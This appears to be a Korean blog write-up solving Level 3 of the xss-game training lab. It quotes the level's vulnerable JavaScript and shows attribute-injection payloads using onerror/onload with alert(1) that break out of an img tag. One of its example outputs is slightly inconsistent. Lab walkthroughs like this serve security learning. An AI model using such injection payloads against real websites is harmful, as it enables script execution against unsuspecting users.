반응형
문제
https://xss-game.appspot.com/level3
https://xss-game.appspot.com/level3
Oops! Based on your browser cookies it seems like you haven't passed the previous level of the game. Please go back to the previous level and complete the challenge.
xss-game.appspot.com
문제풀이
세개의 tab이 있고, # 뒤의 입력에 따라 출력해주는 것을 볼 수 있다.
<script>
function chooseTab(num) {
// Dynamically load the appropriate image.
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);
window.location.hash = num;
// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(num)) {
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}
// Tell parent we've changed the tab
top.postMessage(self.location.toString(), "*");
}
window.onload = function() {
chooseTab(unescape(self.location.hash.substr(1)) || "1");
}
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
chooseTab(unescape(self.location.hash.substr(1)));
}
}, false);
</script>
- window.location.hash
URL 내 '#' 뒤에 나오는 식별자를 value로 하는 DOMString
입력값은 num 변수로 img 태그를 사용해 사진을 가져온다.
html+="<img src='/static/level3/cloud"+num+".jpg'/>";
img 태그 안에 들어가므로 onload,onerror를 이용해 alert()를 실행할 수 있다.
' onerror=alert(1) /> 입력 시, <img src='/static/level3/cloud' onerror=alert(1) />.jpg'/>
1.jpg' onload=alert(1) /> 입력 시, <img src='/static/level3/cloud/1.jpg' onerror=alert(1) />.jpg'/>
반응형
'write-up(web) > misc' 카테고리의 다른 글
[xss-game] Level 6: Follow the 🐇 (0) | 2023.01.21 |
---|---|
[xss-game] Level 5: Breaking protocol (0) | 2023.01.21 |
[xss-game] Level 4: Context matters (0) | 2023.01.21 |
[xss-game] Level 2: Persistence is key (0) | 2023.01.21 |
[xss-game] Level 1: Hello, world of XSS (0) | 2023.01.21 |